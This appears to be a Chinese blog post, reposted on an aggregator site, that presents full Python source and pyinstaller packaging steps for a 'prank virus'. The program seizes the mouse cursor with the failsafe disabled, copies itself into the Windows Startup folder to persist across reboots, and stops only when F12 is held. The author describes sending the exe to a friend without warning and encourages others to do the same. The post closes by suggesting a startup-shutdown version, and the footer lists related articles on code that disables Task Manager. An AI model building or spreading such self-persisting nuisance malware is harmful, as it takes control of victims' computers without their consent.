python程序大全(8)——鼠标乱动恶搞小病毒(有资源)

这篇具有很好参考价值的文章主要介绍了python程序大全(8)——鼠标乱动恶搞小病毒(有资源)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

🏆一、前言

🏆二、程序第一版

🏆三、程序大魔改

🚩1、基础改动

🚩2、打包

🚩3、F12保护机制

🚩4、添加开机自启项

🚩5、自己也不懂的线程魔改

🏆四、最终代码

🏆五、尾声

🏆一、前言

(程序源码在最终代码部分。)

(本文配有资源现成的exe,可以直接转发给好友)

(模块:pyautogui,keyboard,sys,shutil,random,os,threading)

(该程序因为不完全是本人写的,所以讲解不怎么好,可忽略)

又是好几个月没写文了,然后发生了一件特别有趣的事想起来了。

自己在远古时代写了一个pyautogui的鼠标乱动程序,最近学了打包,然后就把程序打包下来发给我的QQ好友。

我的好友打开这个程序了之后,鼠标乱点刚好点到他的游戏,帮他直接开了一把,还从黄金掉到白银了哈哈哈哈哈哈

然后就拿着这个程序找我同学,花一天时间将程序大改良,成功做出了一个小型病毒。

程序实现了:

1.运行后鼠标乱动,无法控制。

2.长按F12可以解除。

3.添加开机启动项,重启后继续运行。

🏆二、程序第一版

import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:
    b=r.randint(1,3)
    if b==1:
        gui.moveTo(r.randint(1,1919),r.randint(1,1079))
    if b==2:
        gui.click(r.randint(1,1919),r.randint(1,1079),button='left')
    if b==3:
        gui.dragTo(r.randint(1,1919),r.randint(1,1079))
    a+=1

这是我做的第一版程序,鼠标可以乱动乱点乱拖100次。后面感觉有点伤害电脑就把乱点乱拖去掉了,只能乱动。

先了解一下pyautogui模块:这是一个自动化脚本模块,内有可以操控自己的鼠标和键盘的函数。详情可以在我的主页查找python详解(6)这篇文章。

配置pyautogui模块,只需输入pip install pyautogui即可。

本程序第三行中的FAILSAFE是一个安全变量,把他设置为True,只要鼠标运行时用力往左上角拖就不会报错。默认为True。

第8行的moveTo函数有移动鼠标到指定坐标的作用。显示器的坐标通常是1920*1080。

第10行的click函数有在指定坐标单机的作用。button参数为单机的鼠标键。button='right'就会单机鼠标右键。

第12行的dragTo有长按鼠标,移动到指定坐标,再松开鼠标的作用,说人话就是拖动。

这个程序要说那里都不错,就是没有实现做出来的意义:打包出来去坑人!

🏆三、程序大魔改

想要把程序拿去坑人,就必须进行打包变成exe格式,这样即使对方的电脑没有对应模块,甚至没有python也能运行。

结果我打包的时候不知道什么原因总是一运行就闪退,于是求助我的同学,结果他直接帮我把程序进行了大魔改:

🚩1、基础改动

将程序做了一些基础改动:gui.FAILSAFE调整为False;将鼠标的点击拖动程序去掉;循环次数直接改成无限次。这些都是小改动,不是重点。

🚩2、打包

打包程序最常用的模块就是pyinstaller。还是万能的pip install安装。

在cmd界面输入:

pyinstaller -F 要打包文件的路径

等待他把一大串东西输出完,文件就打包到了Administrator里面,点开里面的dist文件夹,里面的exe程序就是打包好的程序,双击就可以运行。

不知道什么原因我打包带有pyautogui的程序总是出问题,但是其他程序可以。我同学打包pyautogui程序也可以,就很难评。

🚩3、F12保护机制

代码要实现:侦测到按下F12之后退出程序。

keyboard模块里面(还是需要pip安装)有一个函数:

keyboard.is_pressed()

他将会侦测一个键盘按键是否被按下。是则返回True。

sys模块里面有exit()函数,可以关闭该窗口。

于是,我们可以设置一个鼠标移动的函数:

def move():
    while True:
        if keyboard.is_pressed('F12') == True:
            sys.exit()
        gui.moveTo(r.randint(0,1919),r.randint(0,1070))

大功告成!

🚩4、添加开机自启项

要想程序开机自启,有一个神奇的路径:

r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

只要把文件放在这个路径里面,程序就会开机自启。这里又要用到其他模块了:shutil(第三方)还有sys。

shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

这段代码可以将该文件复制到开启自启项里。

然后呢,就有一个问题:这个文件开机自启之后,会再运行一遍这个添加开机自启的程序,因为这个程序已经在开机自启项里面了,所以会报错。接下来,要用到万能的os模块:

os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 

这串代码可以返回检索文件结果。如果找到这个文件了就返回True。这样我们可以进行控制:

f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:#如果包含该文件
    try:
        if __name__ == "__main__":
             待补充
    except Exception as e:#这个地方是出现报错的时候了解报错情况用的
        print(e)
else:#如果不包含该文件
    shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加
    while True:
        move()

🚩5、自己也不懂的线程魔改

多线程实在看不懂学不会。我同学本人的描述是:

就是创建一个线程,如果之后要加功能的话,也方便,直接扔线程池就完事儿了,创建一个线程,应该也可以避免部分崩溃罢。

然后把上述代码魔改成了这样:

threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:
    try:
        if __name__ == "__main__":
             for t in threads:
                  t.start()
    except Exception as e:
        print(e)
else:
    shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
    while True:
        move()

看不懂一点,不过能用就行。

🏆四、最终代码

import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():
    while True:
        if keyboard.is_pressed('F12') == True:
            sys.exit()
        gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:
    try:
        if __name__ == "__main__":
             for t in threads:
                  t.start()
    except Exception as e:
        print(e)
else:
    shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
    while True:
        move()

28行代码,我和同学两个人讨论了1天半,最终还是实现了。只要配置好所有模块打包下来就能用辣!

🏆五、尾声

程序实用性还是不咋的,杀伤力太小,其实可以在这个基础上做一个开机自启关机的程序,直接毒死所有人。

感谢观看!

--------------------------------------------------------end-------------------------------------------------文章来源地址https://www.toymoban.com/news/detail-753172.html

到了这里,关于python程序大全(8)——鼠标乱动恶搞小病毒(有资源)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • c++病毒/恶搞代码大全( 下 )

    注:以下代码应勿用于非法(Dev-c++5.11实测可用) 效果:禁用任务管理器 提示:可能被杀毒软件拦截   效果:禁用注册表 提示:可能被杀毒软件拦截 效果:桌面壁纸     效果:不可删除文件 解决方法:将51-52行换成52行

    2024年02月13日
    浏览(34)
  • c++病毒/恶搞代码大全( 上 )

    注:以下代码应勿用于非法(Dev-c++5.11实测可用) 1: 效果:无限生成cmd 解决方法:关闭程序即可   2: 效果:使鼠标所点应用消失 解决方法:暂无   3: 效果:使鼠标乱飞 解决方法: 任务管理器 (Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭   4: 效果:立刻或定时关机 解决方法:

    2024年02月13日
    浏览(36)
  • c++病毒/恶搞代码大全( 中 )

    注:以下代码应勿用于非法(Dev-c++5.11实测可用) 效果:卡死 警告:Windows高版本可能没有作用 解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭   效果:开机即关机 提示:操作启动项,可能被杀毒软件拦截 解决方法:杀毒软件 (保存在C:main.cpp,编译后生

    2024年02月13日
    浏览(46)
  • 电脑插上串口,鼠标乱飘乱动

    现象:想调试一个串口软件,发现电脑识别不了串口,然后就下了个串口驱动cp210。下载后识别正常,但是出现“电脑插上串口后,鼠标乱飘乱动,而且鼠标左键无效,软件未接收到串口数据\\\"的问题。 原因分析:串口一直发送数据但软件未接收到,而且鼠标乱飘乱动,应该是

    2024年02月12日
    浏览(39)
  • 资源分享·病毒样本下载资源分享

    微步在线云沙箱 https://s.threatbook.cn/ 使用病毒sha256即可寻找病毒样本;该站点也可上传可疑文件/可疑URL地址到沙箱中,进行分析 。 以永恒之蓝为例,样本sha256是:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

    2024年02月06日
    浏览(47)
  • Python恶搞代码

    序号 文章目录 直达链接 1 浪漫520表白代码 https://want595.blog.csdn.net/article/details/130666881 2 满屏表白代码 https://want595.blog.csdn.net/article/details/129794518 3 跳动的爱心 https://want595.blog.csdn.net/article/details/129503123 4 漂浮爱心 https://want595.blog.csdn.net/article/details/128808630 5 爱心光波 https://wa

    2024年02月09日
    浏览(41)
  • python程序编程代码大全,python编程代码详解

    大家好,本文将围绕python程序编程代码大全展开说明,python编程游戏代码是一个很多人都想弄明白的事情,想搞清楚python代码大全简单需要先了解以下几个事情。 download python编程代码​​​​​​​ python编程经典例子: 1、画爱心表白、图形都是由一系列的点(X,Y)构成的曲

    2024年02月03日
    浏览(59)
  • 【科普+技术】Linux服务器被占用大量资源,用三大网站排查ip地址和初步处理挖矿病毒

    五星红旗在bg飘扬——中国黑客的复仇 这里的“挖矿”只是个说法不是拿着锄头进矿洞,是指一段时间内在比特币系统中发生的交易进行确认,并记录在 区块链 上,形成新的区块,而挖矿的人叫作 矿工 。比特币系统的记账权利是去中心化的,即每个矿工都有记账的权利,只

    2023年04月15日
    浏览(55)
  • CSS 改变鼠标样式(大全)

    使用方法:

    2024年02月03日
    浏览(46)
  • Vivado设计资源优化 ,查看各子模块资源占用的方法大全

    在FPGA开发中,资源占用和时序约束一直是主要问题。为了解决这些问题,Vivado提供了丰富的优化工具和资源占用分析工具,帮助工程师优化FPGA设计,深入了解各个子模块的资源使用情况。 本文将从资源占用的角度,介绍Vivado中如何进行FPGA设计资源优化以及查看各子模块资源

    2024年02月11日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包